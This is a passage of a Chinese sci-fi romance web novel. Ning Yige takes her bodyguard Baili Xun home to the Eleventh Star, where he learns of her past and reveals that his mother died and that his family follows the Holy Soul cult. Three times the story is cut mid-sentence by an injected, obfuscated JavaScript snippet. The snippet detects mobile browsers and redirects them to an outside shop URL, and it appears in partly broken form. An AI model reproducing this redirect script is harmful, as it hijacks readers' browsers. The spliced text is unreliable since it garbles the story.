座位,所以是搭着别人的二轮车回来的。 又是一番寒暄结束,阿初从厨房里端上了几盘饭菜递给宁以歌和百里寻:“我们这儿环境条件不好,总养不活牲畜,没什么可以招待客人的食物,不知道你们还吃得惯吗?” 百里寻定睛一看,主食是几张没有添加任何调味剂的面饼,除此以外是两杯星落果果汁,一盘素菜和一盘被煮熟了的肉虫。 “没关系,我以前逃难的时候吃过比这差多了的伙食。”宁以歌说着,熟练地将肉虫搭配素菜夹进面饼中,她又看向百里寻,语气调笑,“就是不知道我的表哥吃不吃得惯?” 却没想到百里寻只是沉默了一秒,就夹起肉虫放进了嘴里,面无表情地咀嚼:“吃得惯。” 宁以歌皱了下眉:“这虫子单独吃会有点腥味,你不用这样逞强。” “没关系,我吃得惯。”百里寻面容平静,“以前还吃不惯的时候我都会把肉虫裹进刚熬出来的糖浆中,等冷却变脆了再吃,这样不仅没有腥味还没有恶心的口感。后来吃着吃着即使干吃也就无所谓了。” 阿初的父亲问道:“这位小哥也在十一星生活过?” 阿初提醒:“人家是宁部长的表哥,宁部长是十一星的人,表哥肯定多少也来十一星住过。” 百里寻没有回答这个问题,但阿初的话听起来很有信服力,所以大家都将她的解释当作真相,了然地点点头,继续吃饭。 饭后休整一番,穿上村民热心提供的干净完好的新衣服,宁以歌和百里寻继续出发了。 夏芒镇就是宁以歌家的所在地,处于十一星东大区的东南角,靠近第十一星政府行政区,也是第十一星最繁华的村镇之一。 即便是十一星最繁华的村镇,镇子里的道路也全是坑坑洼洼的土路,飞车疾驰而过的时候会掀起尘土,雨季的时候路上也多出无数不便于行走的水坑。 宁以歌乘坐的车刚驶入夏芒镇,百里寻就发现这里的人似乎早就得知了宁以歌回来的消息,全站在夏芒镇的中心广场上,等着他们经过。 宁以歌打开车窗,当鲜花和各种告白信纸明信片被丢过来的时候,当不绝于耳的欢呼和尖叫声闯进来的时候,百里寻才深刻意识到,宁以歌在第十一星受欢迎的程度远远超乎了他的想象。 即使是百里寻在首星风头正盛的时候也从来没有如此待遇。 迎接宁以歌的人群默契地没有继续跟上来,留给了宁以歌安静的私人空间。 送他们回来的青雨与他们挥手道别,宁以歌走进了自家院子,敲了敲门,一个面容和蔼的与宁以歌长着一样黑发黑瞳的中年女人出现在他们的面前,激动地与宁以歌拥抱着互相亲吻脸颊。 “壹壹,我的好闺女,两年了,你终于回来了!” 宁母将疑惑的视线投向站在宁以歌身后的百里寻:“这位是……” “妈,他叫宁希。是我的保镖,对外身份是我的表亲。” 宁母打量着百里寻的眼神渐渐变了味,语气微妙地重复:“保镖?” 宁以歌:“对,保镖。” “可这小伙子长得这么精致怎么看也不像保镖啊……真的只是正经保镖,不是你们年轻人的小情趣?” 宁以歌:“……” 百里寻:“……” 百里寻竟然在此刻有了一丝害怕被看穿的紧张。 毕竟他真的和宁以歌睡过。 28. 壹壹 百里寻没作声,他去看宁以歌的反应,宁以歌一脸无语至极的表情:“妈,你又在乱想什么?” 说着,宁以歌挽住母亲的手,拉着她进门,并递给了百里寻一个“进来”的眼神。 百里寻挑了下眉,跟在母女俩身后进家,并且带上了门。 被宁以歌拽进家里的宁母还在嘀咕:“可是他长那么好看,一看就不是普通人家出来给人卖命的打工人……” 闻言,百里寻摸了下自己的脸,突然微妙地思考,是不是他去夜店出卖色相,也比现在给宁以歌当朝不保夕的保镖性价比更高? 宁以歌很显然也并不想给母亲解释百里寻成为她保镖这件事背后的前因后果,只是语气强硬地回道:“妈!我说他是保镖,他就是保镖,哪怕他真的身价千亿,现在他也得是我的保镖。” 听到这不怀好意的话,百里寻却并不如从前那样气恼,他目睹宁以歌与母亲的拌嘴,又在想,原来宁以歌回家后也是个普通的人。 会灿烂地笑,会无防备地接受陌生人的好意,会与母亲撒娇、有矛盾。 她不再是那个高高在上,一举一动都在维持自己完美政客形象的宁部长了。 大概是百里寻的面色有点古怪,宁以歌在母亲去给他们洗水果时转过身,抱着臂看他:“你想什么呢?” “我在想,现在的你更像宁以歌,而不是宁部长。”百里寻老实地回答。 宁以歌却愣了一下,半晌才低笑:“你这是在揶揄我吗?难道你们家不这样?” 百里寻脸上的轻松之色倏地尽数褪去,他颤了颤长长的睫毛,躲过了宁以歌探究的眼神,生硬地转移话题:“我想参观下你的家,可以吗?” “当然可以!”宁母正好洗完苹果,笑眯眯地给两个年轻人一人塞了一个,“保护壹壹一定很辛苦吧?来我们家就是客人,不分其他的。” 百里寻换了拖鞋,得到宁母许可的他看起来平添了几分自信,再不遮掩地东张西望。 宁以歌的家整体呈暖黄色光调,房屋已经很破旧了,但由于主人的精心打理内部装潢依然整洁如新。家里杂物很多,但摆放得极为规整。 百里寻仔细观察了一遍,没发现任何一件值钱的物品,确认宁以歌家真的很穷。 即使宁以歌已经在首星工作了两年,随便分出一部分工资放在第十一星也能与其余居民的生活水平拉开巨大的差异,但她也没有这样做,或者说,他们并不享受成为暴发户受人仰视的地位。 又或者,其实这些猜测都是错误的。在远离名利场的边境星球上,金钱远不如稳定的食物与水源重要。 沙发边上的茶几上放着几本厚重的书籍,百里寻随手拿起翻了翻,发现全是法律相关的工具书。 “这是你的书吗?” “不是,”宁以歌回答,“都是我妈的。她是个律师。” 百里寻恍然大悟:“所以你是受到她的影响,所以选择学法,想成为法官?” 听到“法官”二字,宁以歌的眼睫一动,看了眼百里寻:“是。而且,在政府部门中只有不触及核心部门的文职工作才会酌情降低精神力等级门槛。” 百里寻在客厅里转了一圈,被余光里挂着千纸鹤串成的门帘的房门吸引。他走近了,轻轻捻起一条千纸鹤串拿在手中细看。 这些千纸鹤有的折叠得非常精致,有的则歪七扭八仿佛初学者的手笔,有的千纸鹤上还写着一看就是小孩儿的字迹。 他不禁低声读出上面的文字:“祝愿……宁姐姐天天开心?” 宁以歌已经来到了他的身边:“我爸在这里开办了一家小学,学生不多,这些千纸鹤都是他们折的。当时是我抽空去给他们上了几节课,其中有一节是手工课,就教他们折千纸鹤,没想到他们提出将那节课折出来的千纸鹤都送给我。” “他们是好孩子。” 宁以歌点头:“是啊,都是好孩子,第十一星不应该亏待他们。” 她的手穿过千纸鹤门帘,放在了门把手上,对着百里寻微抬下巴:“这里就是我的卧室,我允许你进来。” 百里寻哼笑:“谢谢您。” 他毫不客气地迈入宁以歌的房中,却被满墙的报纸填满了视野。 在科技水平落后的十一星,大多数居民虽然配备有光脑,但仅能接收到十一星范围内的信号,几乎没法与联邦其他星球的网络相连接。 十一星上拥有先进联网设备的富人家节选新闻,然后自印成报纸在十一星普通民众之间兜售牟利。因此星际新闻在十一星传播仍然依赖纸质报刊。 宁以歌卧室墙上的报纸就来源于此。 百里寻曾想象过宁以歌卧室的模样,他总以为会和她在首星的家那样干净简洁,令人挑不出错处。 却没想到迎面而来的满墙报纸冲击了他的感官。 报纸已经泛黄了,却显然被人用心打扫过,才一直没有落上灰尘。百里寻走近了去看报纸上的内容,第二次被震惊到。 报纸不是随意张贴上去的,每一张报纸上都是令人触目惊心的关于圣魂教罪行、关于精神体歧视、关于名门望族压榨平民的新闻。 再往里的墙上则贴上了关于联邦政府一举一动内容的报纸。关于法案,关于战争,关于和平。 在正对着床头的那面墙的最上面最醒目的位置,黑色记号笔书写的五个字被红笔大大圈起——我要去首星。 在五个大字的下面,还有一行小字。 “无论命运如何待我,我都将以歌回之。” 以歌。 宁以歌。 “我原名不叫这个,读书之后自己改的。”宁以歌解释,“你也听到了,我的小名其实就是我原来的名字。” “宁壹壹?” “对,因为我妈希望我壹往无前,壹路平安,所以就叫壹壹。” 她为自己更换了名字,原名成为心底那片最柔软区域的平安符,而如今的名字是她对命运最强势的表态。 在宁以歌的书桌上摆满了课本与作业本,每一本都被它们的所有者翻得起了卷边。书桌靠近窗户的一侧则腾出了一个角落放了盏电台灯。 此时,窗外的阳光穿过飘动的窗帘落进这间狭小的卧室,照亮这方不知陪伴宁以歌度过了多少日夜的书桌。 宁以歌在剪切张贴这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294684|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报纸的时候在想什么?她在伏案苦读的时候又在想什么?她费尽千辛万苦来到那个她日思夜想的首星的时候又在想什么? 百里寻不知道答案,但他望向此刻宁以歌的眼睛,又仿佛得到了所有的答案。 宁以歌平静地说:“这就是我在十七岁前拥有的一切。” 这不仅仅是一间普通而凌乱的卧室,更存放着一个十七岁的灵魂。 百里寻抿着唇,许久才问:“为什么要允许我窥探当年的你?” 宁以歌却往前一步,灼灼地锁定着百里寻幽绿的眼睛:“因为我想让你多了解我一点。” 百里寻的喉结滚动,不由自主地退后一步,绷紧的后背骤然贴上冰冷的书柜,可他却没敢收回脚步:“为什么?” “知己知彼,才能百战不殆。虽然我们之间只有两三个月的合作期,但我也希望我们能足够了解彼此。” 她笑了笑,抬起一如既往戴着手套的左手,用修长的食指轻钩进颈环与脖颈之间的缝隙,只是略微一使劲,便迫使高大的百里寻弯下身躯低头靠向她。 宁以歌凑近百里寻的耳边,低语:“希望你也能对我坦诚相待。” 不知何处而来的风吹动着窗帘遮挡住窗外的阳光,投下一片阴影。昏暗的卧室里百里寻仿佛失去了对周围的感知,只能清晰地听到宁以歌的呼吸声,看见她如寒冰泛着冷光的双眸,感受到她卡在脖颈的手指。 没来由地,他又想起那一晚,不禁眼瞳颤动,想要挣脱。而宁以歌也在此刻松开了他的颈环,仿佛什么事也没发生一般对他露出属于宁部长的招牌式微笑。 百里寻垂眸抚摸着她刚才扣住的地方,再抬眼时,宁以歌已经推开门消失在了房门外。 门外传来一个陌生男人的声音:“壹壹,我回来了!听说家里有客人?” 百里寻从卧室中走出,见到了宁以歌的父亲。 宁父看见他时露出了与宁母一样的神情:“你是……保镖?” 宁以歌摸了摸下巴,和父亲一起打量百里寻的脸:“还是戴□□好点,可惜原来那张坏了。太漂亮了就是麻烦,是吧?” 百里寻天生微挑的眼尾耷拉下来:“我不会给你惹麻烦的。” 宁父噎了一下,问女儿:“你是不是平时对他不好?” “哪有?我只是开玩笑。”宁以歌说,“他最近心情有点不太好,爸爸你带了什么好吃的回来?让他吃点美食心情就好了。” 百里寻按捺住翻白眼的冲动,冲父女俩笑了笑:“嗯。” 宁父从学校食堂里带回来四份打包好的盒饭,四个人围在圆桌前共享晚餐。 饭后,宁以歌在客厅摊开折叠沙发,简单收拾出一处床铺,示意百里寻睡在这里。 为了照顾百里寻的隐私,还现场安装了一圈布帘挡住了沙发床。 百里寻洗漱后老实地躺在这张简易的床上,今天从第九星到第十一星的波折之旅即使是精神力评级S级的他也格外疲惫。 他刚合眼时,宁以歌就拨开布帘说:“明天早点起来,我们去一趟十一星政府。” 百里寻双眼紧闭着,闷闷地回应:“好。” 29. 历史 位于首星的墨菲学院曾被称为“联邦新星的摇篮”,从其中毕业的学生们都是星舟联邦同一辈中的佼佼者,走出学院的他们几乎都会选择从商或者从政。因而,星舟联邦当今的各大商业帝国的中流砥柱与政府新生代力量基本都毕业自墨菲学院。 当年毕业之后,百里寻选择从商,而宁以歌选择从政,这并不是一个意料之外的结果。 宁以歌一毕业就进入政府任职,初入职场的她只是司法部中一个小小的普通职员,直到实习期结束,既没有背景也没有如百里寻那般傲人的精神体的她被派往司法系统不完善的第十一星担任普法员。 说是普法员,实际上她更像是联邦政府派去监督地方政府的一只眼睛。 这原本是一次再正常不过的人员调动,只是没有人想到这只毫不起眼的眼睛几乎掀翻了第十一星的天。 以至于即使宁以歌已经两年没有回第十一星了,十一星政府仍然为她留了一间办公室,她也拥有着在工作时间里自由出入自己办公室的权利。这里就像她的第二个家。 因为宁以歌在来之前就打了招呼,所以当她领着百里寻回政府办公楼看一看的时候,一个身穿政府职员制服、气质干练的女人早就守候在一楼大厅中,一见到宁以歌便欢喜地迎了上来,与宁以歌拥抱、亲吻脸颊。 “壹壹,你终于舍得回来了!” 她笑着笑着,看见了站在宁以歌身边的百里寻,笑容骤然凝固,狐疑地上下打量他。 百里寻颔首:“您好,我是宁部长的保镖。” “安迪呢?怎么变成了个男的?”女人眉头紧锁,锋利的眼神还在剜着百里寻的脸。 宁以歌安抚地摸了摸女人的后背:“塔瓦娜,安迪被派去执行任务了,所以我换了个新的保镖。他叫宁希。” 宁以歌又向百里寻微微一笑:“她是我当时在十一星工作时候的好搭档,现在是十一星司法部的部长。” 塔瓦娜出生于十一星,与宁以歌自小相识,长大后她们虽然一个去了首星读书,一个在第四星读书,但由于年少的约定,都选了法学专业。 毕业后她们重聚于十一星,彼时宁以歌是调到十一星政府工作的小职员,而塔瓦娜是个私人律师。直到那一起后来轰动全联邦的性侵案,她们才真正开始合作。 塔瓦娜眼中的戒备稍减,她勉强扯了扯嘴角,对百里寻挤出一个笑:“幸会。”而后,她迅速回头挽住宁以歌的手,声音柔软:“走,星长今天不在,我直接带你去现在的司法部逛一逛,再去你的办公室。” 所谓的司法部只是一间小小的办公室,里面坐着六个年龄不等的员工,见他们的到来,纷纷站了起来,双眼放光地叫着宁以歌的名字围过来。 百里寻自觉地后退两步,垂眼翻阅起手边显示着十一星政府历史介绍的电子屏。 多年前的十一星由于远离联邦中央政府,地方政府受到圣魂教的深度控制,底下的各部门也是管理混乱,甚至根本没有司法部这个东西。 虽然原则上十一星人民可以通过打官司维护自身的权利,但地方法院萧条,员工紧缺,效率低下,还受制于圣魂教,根本形同虚设。 联邦在十年前曾试图铲除十一星的圣魂教势力,终究鞭长莫及,并且政府中大多数都是养尊处优的首星本地人,没多少人愿意来到这片荒远的土地抛头颅洒热血。 即使有,也只是像宁以歌这样的边缘小职员。 但当时联邦的举措多少还是起了作用,至少成功扶持了一个改革派成员上任十一星星长,把半个政府从魂主搅和的泥泞中捞出来了。 随后宁以歌这位未来改革派之星的到来可谓是雪中送炭,她当即与十一星星长舒义相见恨晚一拍即合,还没等他们琢磨出什么计划,性侵案就发生了。 百里寻翻着电子宣传册的手一顿,他不用翻都知道后面一段说的是什么。 性侵案的受害者只是一名普通的D级精神体拥有者,而罪犯却是拥有A级精神体的刚退役的军人,更要命的是罪犯还与十一星当地的圣魂教势力有着千丝万缕的联系。 宁以歌凭借为受害者辩护胜诉而一举成名,并因为此案十一星平民们群情激愤,积极配合政府反抗歧视压榨他们的圣魂教徒,狠狠给了那些还盘桓在十一星的圣魂教一耳刮子。 性侵案胜诉后,舒义提拔宁以歌成为他的助理直到最后宁以歌回到首星。但实际上宁以歌后来的一系列举措表明,虽为星长助理,她的权力却显然几乎等同于副星长。 缠绕在十一星政府上属于圣魂教的触手在宁以歌等人的带领下才终于被斩除殆尽。 再后来……大概就是如今这幅景象了。 百里寻能感觉出,这间办公室中的职工们的精神力水平很普通,他们原本该是圣魂教眼中的耗材,却能够在如今的地方政府新生的司法部中任职。 并且在进入办公大楼以来,百里寻也没有遇见任何一个会让他觉得与十一星民众格格不入的人。 即使穿着一丝不苟制服的他们,身上散发的质朴气息仍没有淡去。 能够有今天的十一星政府,面前与大家聊天笑得开心的黑发女子功不可没。 似乎感受到百里寻的目光,宁以歌侧过脸,与他四目相对。她眼中的笑意还未淡去,只停留一瞬间又收回了视线。 不知道是在认真对他笑,还是只是施舍与他一丝多余的笑容。 “我今天还有别的事,先走了。”宁以歌对大家说,“我会在十一星住上大概一个月,之后有时间再来看大家。” 说完,她轻柔而自然地伸手划过百里寻的后腰:“走吧。” 宁以歌又带着百里寻去自己办公室收拾了下物品,扔掉一些,又带上一些。百里寻眼尖地看见几本专门研究圣魂教的书籍和笔记,甚至其中一本笔记的侧边似乎还沾着血。 “这本的血啊,是我第一次遭遇刺杀时留下的。”宁以歌轻描淡写地说,“那时候安迪还在服兵役,我也没保镖,差点就死了。还好有乡亲路过,及时救了我。” 她心情很好,还在开玩笑:“如果这些杀手看见现在还好端端的我一定会气得从坟墓里坐起来。” “十一星没有圣魂教教徒了吗?” “他们不会彻底消失,只是现在翻不出大浪。所以保险起见,我还是得带着你回来。”宁以歌看着百里寻,意味深长地笑,“所以拜托你保护我了,我的保镖。” 百里寻挑眉:“好吧,那么接下来去哪儿,亲爱的雇主?” “买菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300066|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” * 百里寻回过神来的时候,他已经跟在宁以歌身后拎了一路装满食材的袋子。 宁以歌原本披着头发,在进入集市后就用手腕上随身戴着的皮筋扎了起来,长长的马尾在后脑随着她的步伐一步一摇,百里寻注视着她的背影,有点恍惚。 上一次见到她扎着马尾的背影还是在七年前。彼时的宁以歌因为出色的文化课成绩成为了学院里的风云人物,深受许多老师的偏爱。 然而又因为她扎眼的精神体等级,以及贫苦的出身,在二代甚至世家子弟云集的墨菲学院里无论她走到哪里,身边总会有人或当面嘲讽或背后私语。 可她始终不为所动,哪怕是躺在医务室里最脆弱的时候,她眼中的倔强从未褪色一分。 她甩着如同剑穗的马尾从无数带刺的目光中穿过,像一把不会折断的宝剑。 她的倔强为她惹来了麻烦,也吸引来了同行者。学院中大约只有十分之一的学生出身平民,这些学生一半投靠权势,一半则追随在宁以歌的身后,再不向纨绔子弟低头。 安迪就是在那时成为了与宁以歌形影不离的朋友。 此刻,宁以歌的背影与曾经似乎并没有什么不同,只是身边的声音变了。 每一个看见宁以歌的居民都在向她投以友善的笑容,甚至每一个摊主都愿意将自己的商品便宜出售或者干脆免费送给宁以歌,他们关心着宁以歌的情况就像在关心家人。 反而百里寻变成了周围居民们窃窃私语着议论的对象。 他们对外来者抱有警惕之心,更何况是个一看就长得就不是省油的灯的男人。 有大胆者甚至上前对宁以歌说要小心狐狸精。 见百里寻的脸色瞬间阴沉,大胆者又吓得一激灵,但仍然对宁以歌重申一遍自己的意见,然后逃回了人群中。 “别介意,十一星都是联邦底层人民,之前压迫十一星的圣魂教教徒又大多都是来自其他行星的权贵爪牙,所以他们对富豪有着天然的抵触。”宁以歌说,“而你一看就是富养出来的,看起来和我不像一路人,所以他们害怕你是圣魂教余孽潜伏在我身边也是情理之中。” 百里寻垂眼,没有说话。 宁以歌来到一处小摊前买鱼,由于海洋面积广阔,陆生动物在大异变时期大量灭绝,鱼类是十一星最常见的可食用肉类,大多数居民依靠鱼肉补充蛋白质。 这家鱼肉铺子的老板是个上了年纪的老太太,她每周都会从西大区坐公车赶来东区集市摆摊卖鱼,卖的鱼肉都是新鲜肥美的上佳品质。 “阿婆,两斤黄鱼。” 宁以歌在光脑上往铺子的账户划款,李阿婆笑着递过去装着黄鱼的袋子。 李阿婆已经衰老浑浊的眼珠转向正好奇地四处打量的百里寻,然后停住了。 “小……小希?” 这两个字仿佛咒语,将百里寻定在原地,他僵硬地转头,看向这位他原先没怎么在意的老太太。 李阿婆执着地又问了一遍:“你是梅妮尔家的小希吗?” 宁以歌看见百里寻的眼中霎时蓄起泪水,目光却穿过面前的阿婆,看向某个不存在的地方。 他的双唇抖了抖。 “……我是。” 30. 身世 宁以歌和百里寻坐在罕有人至的草坪边,装着食材的袋子放在面前的地上,大半条黄鱼掉了出来,两个人却无暇顾及。 宁以歌表情复杂地看着捂着脸,浑身散发着破碎气息的百里寻,保持着缄默。 然后递过去一包纸巾。 见到伸过来的纸巾,百里寻放下了手,语气生硬:“我没哭。” “想哭就哭吧,没事的。” “我没想哭。”百里寻死气沉沉地强调。 宁以歌继续保持着复杂的表情看他。 就在二十分钟前,卖鱼的李阿婆认出了百里寻,并且准确地叫出了百里寻母亲的名字。 根据李阿婆与百里寻的对话,百里寻原名叫小希,曾在很长一段时间里和母亲梅妮尔生活在十一星的西大区。 李阿婆家与百里寻家相距并不远,只是分别的时候百里寻年纪太小,所以他记不得李阿婆。但李阿婆还是认出了发色与瞳色都彻底改变了的百里寻。 临分别时,李阿婆说:“小希,你长得很像你妈妈。你妈妈还好吗?” 百里寻翕动着唇,半天才说:“她很好。” 可宁以歌看出来,他在撒谎。 草坪上满脸颓废的百里寻深吐出一口气,问宁以歌:“你是不是早就知道了?” “我不知道,我在等你主动说。” 来到十一星后的百里寻确实四处都是疑点,如果没有今天的这一出,宁以歌也打算想办法调查百里寻与第十一星的关系。 百里寻沉默良久,却首先问了宁以歌一个问题:“你从前就没有好奇过,为什么百里家的每一任家主是直系继承,但都拥有异能?” 这确实是宁以歌疑惑已久的问题,她并不相信所谓“巧合与好运”,一次是巧合,一而再再而三就不是巧合而是人为,但宁以歌并没有寻找到合适的答案。 联邦不是没有基因编辑技术,但关于精神体与异能对应的基因片段的研究仍然非常不成熟,至今没能找到必然的关联。 而一般人觉醒精神体与异能也需要等到十四岁左右,即使真的培育了实验胚胎,也需要等到实验体长到十四岁才能验证结果,百里家总不能私底下一口气培育一大堆胚胎再耐心养他们十四年,然后选出其中那个成功的异能者。 宁以歌说:“好奇过很多次,为什么百里家每一任家主的独生子都是异能者,这简直是个概率学的奇迹。那么你愿意解答我的困惑吗?” “不是百里家每一任家主的孩子恰巧都能觉醒异能,而是只有觉醒异能的孩子才会被接回百里家,成为百里家公之于众的继承人。” 迎着宁以歌掀起波澜的眼睛,百里寻勉强扯了扯嘴角,继续说:“没错,我并不是什么独生子,我只是百里景众多的私生子之一。” 这个答案倒是真的超出了宁以歌的意料:“你是说你的亲生父亲……” “他像个种马一样全星际范围挑选合适的异性繁育后代,并致力于让尽可能多的优秀精神力的女人为他诞育孩子。”百里寻讽刺地说,“只是我母亲是个意外,她只是因为长得太漂亮了,就成为了百里景的目标之一。” 宁以歌想到一个问题:“那些除你之外没有觉醒异能的孩子呢?” “不知道,有用的可能会留着,没用的多半是不闻不问仍由他们在联邦的角落里自生自灭,他们甚至可能到死都不知道自己是百里家的孩子。如果我当初没有觉醒异能,大概也是这个下场。” “听你的语气,你对百里家厌恶已久。” “确实厌恶。他们也察觉出了我的厌恶。”百里寻笑了笑,眼神却沉郁地望着远方,“不然他们也不会想要除掉我了。” 百里寻转向宁以歌:“这也是你早就猜到的吧?” 宁以歌毫不意外地回望着百里寻,以沉默承认了他的猜测。 联邦虽然一直想要遏制百里家的发展,但没有理由对一个还没有实权的继承人赶尽杀绝,即使对方是S级也没有必要。如果联邦真的想杀他,大可直接派出其他S级精神力的异能者悄无声息地除掉他。 联邦的叛国者更没有理由杀百里寻。拿出身与精神力等级都不简单的百里寻当替罪羊,此举不仅自设障碍,还会平白无故招惹百里家的记恨。 除非是百里家的内部想清理掉这位不称职的继承人。但百里寻的精神体等级和异能又导致他太难杀,于是百里家才演了这么一出百转千回的大戏,不仅走私军火,还顺便把百里寻推入火坑,甚至联合辰冕帝国,一刻也不能多等就要把百里寻炸死在监狱里。 “不过我很好奇,你究竟干了什么事,让百里家冒着自损八百的风险不把你除掉誓不罢休?” 百里寻被戳中了伤口,他垂下眼睑,纤长的睫毛遮住了眼底的光亮:“因为我发现我的母亲不在了。” 百里寻的亲生母亲梅妮尔是一名普通的民间游医,四处漂泊居无定所,走到哪里就为哪里的人行医治病。 她善良,热心,专为支付不起医院高昂医药费的病人服务,在街坊中风评极好。 在第十二星行医的时候,她生下了百里寻,百里寻刚会走路没多久,梅妮尔又带着儿子去往十一星。 四年后,十二星的战争爆发,大量难民涌入十一星,忙着医治难民的梅妮尔搬家的计划也因此拖延到了百里寻十岁那一年。梅妮尔母子俩在这一年来到了第八星。 百里寻在第八星上度过了自己的十二岁生日,并在生日的第二天,同时觉醒了S级精神体与控制金属的异能。 那时候的百里寻兴奋地控制着金属杯子带着精神体白虎向母亲展示自己的异能,母亲激动而谨慎地教他如何控制精神体与精神力。却没想到这是他与母亲最后相处的时光了。 “十二岁的时候,百里家来人带走了我,给我改名百里寻。从此以后,我再也没有见过我的母亲。” 宁以歌计算了一下,在百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308717|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里寻十四岁那年,第八星爆发了一场瘟疫。如果梅妮尔在儿子离开后一直留在第八星,那么固然无法躲过这场天灾。 “你也知道,第八星在十三年前爆发瘟疫,远在首星的我得到了百里家人的承诺,他们会将我的母亲转移到安全地带,保证她的平安。只要等我继任百里家主之位,我就能将母亲接到身边了。” 宁以歌问:“你怎么知道你母亲不在了?” “在从学校毕业之前,我没有多少自主行动的权利,直到我二十岁离开墨菲学院,在服兵役期间认识了一个来自第八星的战友,他成为了我打听第八星消息的渠道。”百里寻说,“那场持续三年的瘟疫已经结束了,我却总是心中不安,所以想要从他那里确认我母亲的消息。” 宁以歌发觉百里寻的眼角泛起红。 “瘟疫结束后,第八星政府为牺牲的医护人员们建立了纪念碑,那位战友说,在纪念碑上看见了我母亲的名字。她死在了瘟疫将要结束的前夕。”百里寻的声音颤抖,“百里家从来没有管过她的死活,却一直骗我她还活着,甚至以我母亲的口吻与字迹给我写信。” 后背抚上一只手,安慰似的轻轻拍了拍百里寻。百里寻从宁以歌的眼中看到了她从未对他展露的温柔。 “你对百里家不仅仅是厌恶吧?” 百里寻冷笑:“杀母之仇,不共戴天。” “所以,你的仇恨被百里家看出来了,他们觉得你是个不稳定的棋子,是个随时会发作的隐患。” 百里寻说:“我其实一直在掩藏我已经知道母亲消息的事实,若无其事地继续当一个他们想要的继承人,但最终还是没能瞒过他们。” 宁以歌沉默了会,她在脑海中梳理百里寻刚才叙述的一切,忽然意识到一个疑点:“可你是S级精神体拥有者,理论上来说,你的基因非常值得作为繁衍的配子,有极大概率生出异能者后代,而且你年纪也不算很小了,百里家在杀你之前怎么就没让你跟你父亲一样留一堆孩子?” 百里寻的脸色忽然变得难看极了。 他几乎是从牙缝里挤出四个字:“我不愿意。” “这不是你愿不愿意的问题。你也知道,联邦的人造子宫技术的研究已经较为成熟,只是由于极其高昂的成本以及涉及的伦理争议,只在少数想要减少生育痛苦的权贵中使用。” 宁以歌说,“所以,百里家要是真想让你留孩子,完全可以直接把你麻倒,取走你的精子,无论是放在目标女性体中还是人造子宫中,都能继续他们的异能者繁衍大业。” 百里寻的脸色还是铁青的,他仿佛回忆起了什么不好的记忆,眼神飘忽着空了一瞬。 宁以歌体贴地作出退让:“这个话题你不想谈吗?那就先算了。” “不,我可以说。”百里寻暗沉的眼睛看着宁以歌,“这就是我应该告诉你的第二件事。” “百里家上下全部都是最虔诚的圣魂教信徒。” 31. 活着 众所周知,星舟联邦政府一直在致力于打击圣魂教,联邦内信奉魂主的大家族都被依次瓦解,即使仍然有信徒存在,也是蛰伏在联邦中,不敢轻易冒头。 宁以歌回忆了一下过去在学院中明确显露自己对魂主信仰的学生的家族,在后续几年里也被联邦盯上了,有的家族势力庞大,联邦便极有耐心地一步一步击破目标。 总之,一旦让联邦发现豪门之中存在全家上下信奉魂主的情况,那么这个家族距离落没也不远了。 宁以歌记得,百里家原来效忠于旧帝国,必然曾信仰国教。但联邦成立后,百里家为投诚,将家中与圣魂教相关的一切物品尽数销毁,并发誓永不信神。 “而且百里家信仰是最原始的圣魂教教义,即用精神力等级划分阶级,并且崇尚自然,反对机械技术与人体结合。” “前两条我知道,反机械技术倒是第一次听说。”宁以歌摸摸下巴,“反机械技术与人体结合,是指机械义肢一类吗?” 百里寻点头:“没错,并且包括人造子宫。” 联邦并不提倡机械义体,而是支持利用细胞再生技术培育新的义体,以保障减少机械义体对精神体的影响,宁以歌原以为这是由于掌控着生物公司的财阀为盈利而宣扬的理论。 今天百里寻的话倒是给她了一条新的思路,有没有可能,机械义体技术的遏制也是联邦中蛰伏的教徒导致的结果? 宁以歌又提出一个疑问:“那么也可以人工受孕,并不需要利用人造子宫。” 百里寻苦笑:“最原始的圣魂教对自然的崇尚不仅仅是这个程度。教徒的繁衍必须是身体上的结合,这样生下的孩子才更有可能觉醒高级精神体,而不是利用科学技术人为受孕。” “所以你的‘家人们’要求你和他们寻找的目标女性上床?” “对啊,但是我没那么容易被控制。”百里寻故作轻松,“也得亏这条该死的教义,我才没有被动弄出一堆孩子。生下无数子女就为了诞育出一个异能者,光是想一想就浑身起鸡皮疙瘩。” 百里寻耸起肩,搓了搓露在外面的手臂。 百里寻口中描述的过往在百里家的生活让宁以歌觉得比起一个风光无限的继承人,他更像一个被束之高阁的精美工具。 “你说的好像你在百里家的生活全是憋屈,但没法否认的是你获得了无数十一星人求之不得的优渥生活,以及在学院里一呼百应的地位与名气。这难道不是有失必有得?” 